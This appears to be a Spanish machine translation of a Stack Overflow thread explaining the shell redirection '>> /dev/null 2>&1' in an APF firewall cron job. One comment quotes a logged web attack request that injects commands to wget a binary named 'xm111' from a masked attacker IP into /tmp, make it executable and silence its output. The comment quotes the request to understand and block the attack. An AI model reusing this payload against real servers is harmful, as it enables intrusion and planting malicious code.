¿Qué es / dev / null 2> & 1?

237

Encontré este fragmento de código en /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Está descargando y volviendo a cargar el firewall.
No entiendo la >> /dev/null 2>&1parte.

¿Cuál es el propósito de tener esto en el cron? Está anulando mis reglas de firewall. ¿Puedo eliminar con seguridad este trabajo cron?

descansando
fuente
1
FYI: Una forma más corta de silenciar un proceso es >&- 2>&-.
Zaz
22
@ Josh: ¿por qué hacer las cosas aún más crípticas de lo que ya son?
endolito el
44
@ Josh Esto cierra los FD respectivos, lo que podría hacer que los programas aborten.
glglgl
1
es 2>&1 > /dev/nulllo mismo que > /dev/null 2>&1 ? Me parece más natural ...
edelans
66
@edelans No. De esa forma, redirige stderr a stdout, pero solo se /dev/nullemitirá la stdout original a -stderr. Pruebe la herramienta en gist.github.com/zigg/344361751c0110419b0f
zigg

Respuestas:

354

>> /dev/nullredirige la salida estándar ( stdout) a /dev/null, que la descarta.

( >>Parece algo superfluo, ya que >>significa agregar mientras que >significa truncar y escribir, y agregar o escribir /dev/nulltiene el mismo efecto neto. Por lo general, solo lo uso >por esa razón).

2>&1redirige el error estándar ( 2) a la salida estándar ( 1), que luego lo descarta también ya que la salida estándar ya se ha redirigido.

zigg
fuente
77
¿Qué indica el &símbolo allí 2>&1?
Nadie
17
& indica un descriptor de archivo. Por lo general, hay 3 descriptores de archivo: entrada estándar, salida y error.
Testing123
1
@Nadie revisa mi respuesta a continuación para tu pregunta stackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant
1
Si & indica un descriptor de archivo, ¿por qué no hay & before 2?
user6708151
1
En caso de que otros no lean la respuesta a continuación que explica los descriptores de archivo:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain
199

Dividamos la >> /dev/null 2>&1declaración en partes:


Parte 1: >> redirección de salida

Esto se utiliza para redirigir la salida del programa y agregar la salida al final del archivo. Más...


Parte 2: /dev/null archivo especial

Este es un archivo especial de pseudodispositivos .

El comando ls -l /dev/nullte dará detalles de este archivo:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

¿Lo observaste crw? Lo que significa que es un archivo de pseudodispositivo que es de tipo de archivo de caracteres especiales que proporciona acceso en serie.

/dev/nullacepta y descarta todas las entradas; no produce salida (siempre devuelve una indicación de fin de archivo en una lectura). Referencia: Wikipedia


Parte 3: 2>&1 descriptor de archivo

Cada vez que ejecuta un programa, el sistema operativo siempre abre tres archivos, entrada estándar, salida estándar y error estándar, ya que sabemos que cada vez que se abre un archivo, el sistema operativo (desde el núcleo ) devuelve un entero no negativo llamado descriptor de archivo . El descriptor de archivo para estos archivos es 0, 1 y 2, respectivamente.

Entonces 2>&1simplemente dice redirigir el error estándar a la salida estándar.

& significa que lo que sigue es un descriptor de archivo, no un nombre de archivo.

En resumen, al usar este comando le está diciendo a su programa que no grite mientras se ejecuta.

¿Cuál es la importancia de usar 2>&1?

Si no desea producir ninguna salida, incluso en caso de algún error producido en el terminal. Para explicar más claramente, consideremos el siguiente ejemplo:

$ ls -l > /dev/null

Para el comando anterior, no se imprimió ninguna salida en el terminal, pero qué pasa si este comando produce un error:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

A pesar de que estoy redirigiendo la salida /dev/null, se imprime en el terminal. Es porque no estamos redirigiendo la salida de error /dev/null, por lo que para redirigir también la salida de error, es necesario agregar 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1
Vishrant
fuente
2
¡Buen ejemplo! No sé '>' no redirigirá 'STDERR' antes.
miao.wang
Bien explicado! muy informativo. Gracias. Me ayudaría a comprender el ataque web que encontré recientemente. El atacante está inyectando algún código malicioso a través de la solicitud POST que contiene el código anterior.
Sohel Pathan
1
@Vishrant El código inyectado es como: POST / usuario / contraseña? Nombre [% 23post_render] [] = system & name [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http: /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx es la IP del atacante y también aparece como abusiva en muchos sitios. El primer paso preventivo es bloquear la IP en el firewall, así como el patrón de tales IP. El ataque fue redirigir al sitio web de un tercero en la carga de la página de inicio El registro del servidor Apache muestra IP y solicitud dudosas.
Sohel Pathan
55
Me preguntaba por qué no estamos usando '&' antes de 2 también. ¿Podría alguien aclarar mi duda?
Snehasish Karmakar
1
@SnehasishKarmakar una pregunta legítima. Creo que el sistema operativo es lo suficientemente inteligente como para comprender que el primer argumento será un descriptor de archivo, pero >es un operador de redirección, lo que sigue al operador de redirección se espera que sea una ubicación de archivo que se agrega &antes 1indica que no es un archivo donde la aplicación debe redirigir la salida, pero Un descriptor de archivo. Apreciaré si alguien puede agregar más detalles de este comentario.
Vishrant
58

Esta es la forma de ejecutar un programa en silencio y ocultar toda su salida.

/dev/nulles un objeto de sistema de archivos especial que descarta todo lo escrito en él. Redirigir una transmisión a ella significa ocultar la salida de su programa.

La 2>&1parte significa "redirigir la secuencia de error a la secuencia de salida", por lo que cuando redirige la secuencia de salida, la secuencia de error también se redirige. Incluso si su programa escribe stderrahora, esa salida también se descartaría.

dasblinkenlight
fuente
37
En 2>&1realidad , en realidad redirige stderra stdout. La diferencia entre esto y lo que reclamó se ilustra mejor intercambiando el orden de las redirecciones, por ejemplo 2>&1 >/dev/null.
zigg
15

/dev/null es un archivo estándar que descarta todo lo que escribe, pero informa que la operación de escritura se realizó correctamente.

1es salida estándar y 2es error estándar.

2>&1redirige el error estándar a la salida estándar. &1indica el descriptor de archivo (salida estándar), de lo contrario (si usa solo 1) redirigirá el error estándar a un archivo llamado 1. [any command] >>/dev/null 2>&1redirige todos los errores estándar a la salida estándar y escribe todo eso en /dev/null.

Yuriy
fuente
7

Lo uso >> /dev/null 2>&1para un cronjob silencioso. Un cronjob hará el trabajo, pero no enviará un informe a mi correo electrónico.

Que yo sepa, no lo quite /dev/null. Es útil, especialmente cuando ejecuta cPanel , se puede usar para informes de trabajo temporal desechables.

cristiano
fuente
2

Según lo descrito por los demás, escribir en / dev / null elimina la salida de un programa. Por lo general, cron envía un correo electrónico para cada salida del proceso iniciado con un cronjob. Entonces, al escribir la salida en / dev / null, evita que se envíe correo no deseado si ha especificado su dirección en cron.

FSMaxB
fuente
0

Editar /etc/conf.apf. Conjunto DEVEL_MODE="0". DEVEL_MODEconfigurado en 1agregará un trabajo cron para detener apf después de 5 minutos.

dstonek
fuente